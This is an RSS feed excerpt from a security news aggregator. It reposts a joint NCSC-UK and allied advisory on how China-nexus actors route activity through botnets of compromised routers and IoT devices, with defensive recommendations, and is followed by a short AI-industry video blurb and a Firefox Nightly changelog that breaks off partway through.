<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
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<title><![CDATA[Who's Winning the AI Wars?]]></title>
<description><![CDATA[Author: TLDR Business - Bewertung: 3005x - Views:61018 Sign up to Brilliant (the first 200 sign ups get 20% off an annual premium subscription): https://brilliant.org/tldruk/

Google used to be the masters of search, but with AI tools beginning to roll out Microsoft's ChatGPT inspired "New Bing" ...]]></description>
<link>https://tsecurity.de/de/3693375/videos/whos-winning-the-ai-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693375/videos/whos-winning-the-ai-wars/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:23 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TLDR Business - Bewertung: 3005x - Views:61018 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Lz6NBJtxYEE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Sign up to Brilliant (the first 200 sign ups get 20% off an annual premium subscription): https://brilliant.org/tldruk/<br />
<br />
Google used to be the masters of search, but with AI tools beginning to roll out Microsoft&#039;s ChatGPT inspired &quot;New Bing&quot; is beginning to be real competition. So in this video we unpack how the AI race is playing out, how Google, Microsoft, Apple, Amazon and others are coping.<br />
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<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
